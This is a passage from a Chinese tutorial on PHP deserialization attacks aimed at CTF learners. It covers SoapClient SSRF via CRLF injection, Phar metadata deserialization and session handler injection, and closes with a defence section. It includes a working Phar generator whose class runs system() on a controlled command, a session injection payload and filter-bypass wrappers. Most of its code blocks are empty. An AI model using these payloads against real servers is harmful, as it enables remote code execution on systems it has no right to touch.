- URL编码(urlencode):适合在URL中传递payload
- Base64编码(base64_encode):适合在HTTP Header或需要纯文本输出的场景
- 十六进制表示:可以绕过某些字符串过滤
6.4 完整的payload生成代码集
wllm类的payload生成:
1 |
|
A类文件读取payload生成:
1 |
|
Note + Reader链的payload生成:
1 |
|
Logger + System链的payload生成:
1 |
|
七、PHP原生类反序列化利用
7.1 SoapClient类
SoapClient概述:
SoapClient是PHP内置的一个用于SOAP协议通信的类。当PHP安装了php-soap扩展后,就可以通过SoapClient类来调用远程的SOAP Web服务。
SOAP(Simple Object Access Protocol)是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息。SOAP消息通常包含一个Envelope(信封)、Header(头)和Body(体),可以传输各种复杂的数据结构。
触发__call魔术方法:
当我们在SoapClient对象上调用一个不存在的方法时,会触发SoapClient的__call()魔术方法。这个方法会根据SoapClient的配置发起一个SOAP请求。
这是一个非常有价值的特性,因为它允许我们控制HTTP请求的各个方面。
CRLF注入原理:
SoapClient在发起HTTP请求时,会使用我们在构造方法中设置的user_agent参数作为User-Agent头。但SOAP请求通常需要设置多个HTTP头,如Content-Type、SOAPAction等。
关键发现是:我们可以在user_agent字符串中插入\r\n(CRLF)来注入额外的HTTP头!
1 |
|
当这个请求被发送时,HTTP头会变成:
1 | GET /soap HTTP/1.1 |
通过CRLF注入,我们可以:
- 添加任意HTTP头
- 修改Content-Type
- 在某些情况下注入POST请求体
SSRF利用实战:
CTF题目经常利用SoapClient的SSRF(Server-Side Request Forgery)能力来访问内网资源。考虑以下场景:
目标服务器存在一个flag.php,它只允许来自127.0.0.1的请求。但我们有SoapClient这个”代理”,可以发起HTTP请求到127.0.0.1。
1 |
|
攻击脚本:
1 |
|
注意事项:
- SoapClient只能调用不存在的方法来触发
__call() - CRLF注入需要正确构造HTTP头的格式
- Content-Length必须精确计算,否则HTTP请求会出错
- 某些PHP版本可能对CRLF有额外限制
八、Phar反序列化
8.1 Phar文件格式
什么是Phar文件:
Phar(PHP Archive)是PHP提供的一种打包格式,类似于Java中的JAR文件。Phar可以将多个PHP文件和其他资源(如图片、配置文件)打包成一个单独的文件,便于分发和部署。
php.ini中的phar.readonly配置项控制是否允许创建Phar文件。默认情况下它是关闭的(Off),允许创建Phar文件。
Phar文件结构:
一个Phar文件由四个部分组成:
stub(存根):Phar文件的标志,必须以
__HALT_COMPILER();?>结尾。这是PHP识别Phar文件的标志,类似于ZIP文件的签名。manifest(清单):存储被压缩文件的元信息,包括权限、属性等。关键的是,这部分会以序列化的形式存储用户自定义的meta-data。
content(内容):被压缩的文件内容。
signature(签名):文件签名,位于文件末尾。
1 | +----------+----------+----------+----------+ |
meta-data的序列化存储:
当创建Phar文件时,可以通过$phar->setMetadata()方法设置用户自定义的元数据。这个元数据会被序列化后存储在manifest中。
1 |
|
当这个Phar文件被反序列化(通过phar://协议访问)时,存储在manifest中的meta-data会被自动反序列化,从而触发其中的魔术方法。
8.2 漏洞利用条件与步骤
三个必要条件:
Phar文件可上传:攻击者需要能够将恶意Phar文件上传到服务器端。
存在可用的魔术方法:服务器代码中需要定义包含危险操作的魔术方法(如
__destruct()、__wakeup()等)。文件操作参数可控:存在某个文件操作函数的参数可以通过某种方式控制为
phar://协议路径。
利用步骤:
生成恶意Phar文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Evil {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();上传Phar文件:将生成的evil.phar上传到目标服务器。
触发反序列化:通过某种文件操作函数访问
phar://evil.phar,自动触发meta-data的反序列化。
常见的触发函数:
根据已知研究,受影响的文件操作函数包括:
| 函数类别 | 受影响的函数 |
|---|---|
| 文件属性 | fileatime(), filectime(), file_exists(), filesize(), filetype(), is_dir(), is_file(), is_link(), is_writable(), is_readable() |
| 文件读取 | file_get_contents(), file(), readfile(), fopen(), copy(), rename(), unlink() |
| 压缩相关 | bzopen(), gzopen(), gzfile(), zipopen() |
| 元数据 | get_meta_tags(), getimagesize(), exif_imagetype() |
| 其他 | mkdir(), rmdir(), touch(), opendir(), scandir() |
8.3 Phar反序列化绕过
绕过phar://出现在前面的限制:
有些WAF或代码过滤会检查字符串中是否包含phar://。在这种情况下,可以使用其他协议来引用phar文件:
1 | compress.bzip2://phar:///home/sx/test.phar/test.txt |
绕过GIF格式验证:
有些应用会验证上传文件的Magic Number来检测文件类型。Phar文件可以在stub中添加GIF89a前缀来绕过:
1 |
|
上传后可以修改文件扩展名为.gif或.jpg,仍然可以正常访问。
九、PHP Session反序列化
9.1 Session基础
Session的工作原理:
Session(会话)是Web应用程序中用于在多个请求之间保持用户状态的技术。其工作流程如下:
- 用户首次访问网站时,服务器调用
session_start()创建会话 - 服务器生成一个唯一的Session ID(如
PHPSESSID=abc123) - Session ID通过HTTP响应头的Set-Cookie发送给浏览器
- 浏览器在后续请求中自动携带这个Cookie
- 服务器根据Session ID找到对应的会话数据
- 会话数据被反序列化并填充到
$_SESSION超全局变量中
Session的存储机制:
PHP的Session数据默认以文件形式存储在服务器端。配置文件session.save_path指定存储路径,文件名格式为sess_<SessionID>。
三种序列化处理器:
PHP支持多种Session数据的序列化方式,由session.serialize_handler配置项控制:
| 处理器 | 格式 | 示例 | ||
|---|---|---|---|---|
php | `键名 | 序列化值` | `name | s:5:”admin”` |
php_serialize | 序列化值(直接序列化) | a:1:{s:4:"name";s:5:"admin";} | ||
php_binary | 长度字符+键名+序列化值 | \x04nameadmin |
9.2 Session反序列化利用
引擎差异导致的注入:
当不同的PHP脚本使用了不同的序列化处理器时,可能产生安全漏洞。考虑以下场景:
1 | // 脚本1.php |
攻击过程:
访问
1.php?a=|O:4:"Test":1:{s:4:"name";s:8:"hacker";}由于使用的是
php_serialize处理器,|被当作字符串的一部分存储:1
a:1:{s:2:"y4";s:45:"|O:4:"Test":1:{s:4:"name";s:8:"hacker";}";}
访问
2.php由于使用的是
php处理器,遇到|时会将其当作键名和值的分隔符:- 键名:
y4 - 值:
O:4:"Test":1:{s:4:"name";s:8:"hacker";}
值被反序列化,触发
Test::__wakeup()- 键名:
session.upload_progress利用:
即使$_SESSION变量不可控,当PHP开启了session.upload_progress.enabled配置时,攻击者可以利用文件上传过程来注入Session数据。
条件:
session.upload_progress.enabled = On(默认)session.upload_progress.cleanup = On(默认,会在请求结束后清理)- 可以发送多部分编码的文件上传请求
1 |
|
十、反序列化防御与最佳实践
10.1 输入验证与白名单
永远不要信任用户输入。这是安全开发的黄金法则。对于反序列化漏洞,最有效的防御措施是严格验证输入。
- 禁止使用
unserialize()处理不可信数据:优先使用json_decode()代替 - 如果必须使用
unserialize():- 验证输入数据的格式(如使用正则检查)
- 使用白名单限制允许反序列化的类
- 在PHP 7+可以使用
unserialize($data, ['allowed_classes' => ['MyClass']])限制允许的类
1 |
|
10.2 Phar文件上传过滤
由于Phar反序列化可以通过文件包含来触发,对上传文件的过滤非常重要:
- 检查文件Magic Number而非仅依赖扩展名
- 禁止上传.phar文件
- 使用文件内容扫描:检查是否包含
__HALT_COMPILER() - 限制可包含的路径:使用
open_basedir限制PHP能访问的目录
1 |
|
10.3 Session处理器一致性配置
确保所有使用Session的脚本使用相同的序列化处理器。在php.ini中统一配置:
1 | ; 统一使用安全的 php_serialize 处理器 |
10.4 安全的魔术方法实现
如果代码中定义了可能成为反序列化入口的魔术方法,应该确保这些方法不会执行危险操作:
1 |
|
10.5 依赖管理和代码审计
- 及时更新PHP版本:修复已知的安全漏洞
- 使用安全的依赖:避免使用有已知漏洞的第三方库
- 定期代码审计:检查代码中的反序列化使用点
- 使用自动化工具:如RIPS、Progpilot等进行静态分析
结语
PHP反序列化漏洞是一个复杂而深奥的安全领域。从基础的序列化格式理解,到魔术方法的触发机制,再到POP链的构造和各类绕过技巧,每个环节都需要深入学习和大量实践。
本文系统性地介绍了PHP反序列化漏洞的各个方面,包括:
- 序列化基础:序列化和反序列化的概念、格式详解
- 魔术方法:各类魔术方法的触发时机和利用方式
- 绕过技巧:PHP版本差异、CVE漏洞、字符逃逸等
- 类名爆破:黑盒场景下的类发现技术
- POP链构造:五步造链法和实战案例
- 特殊利用:原生类SoapClient、Phar反序列化、Session反序列化
- 防御实践:输入验证、白名单、配置加固
掌握这些知识需要理论与实践相结合。建议读者在理解原理的基础上,多做CTF题目,多分析实际漏洞案例,不断提升自己的技术水平。同时,也要牢记安全的初心,将这些知识用于正当的安全研究和渗透测试中,为构建更安全的Web应用贡献力量。











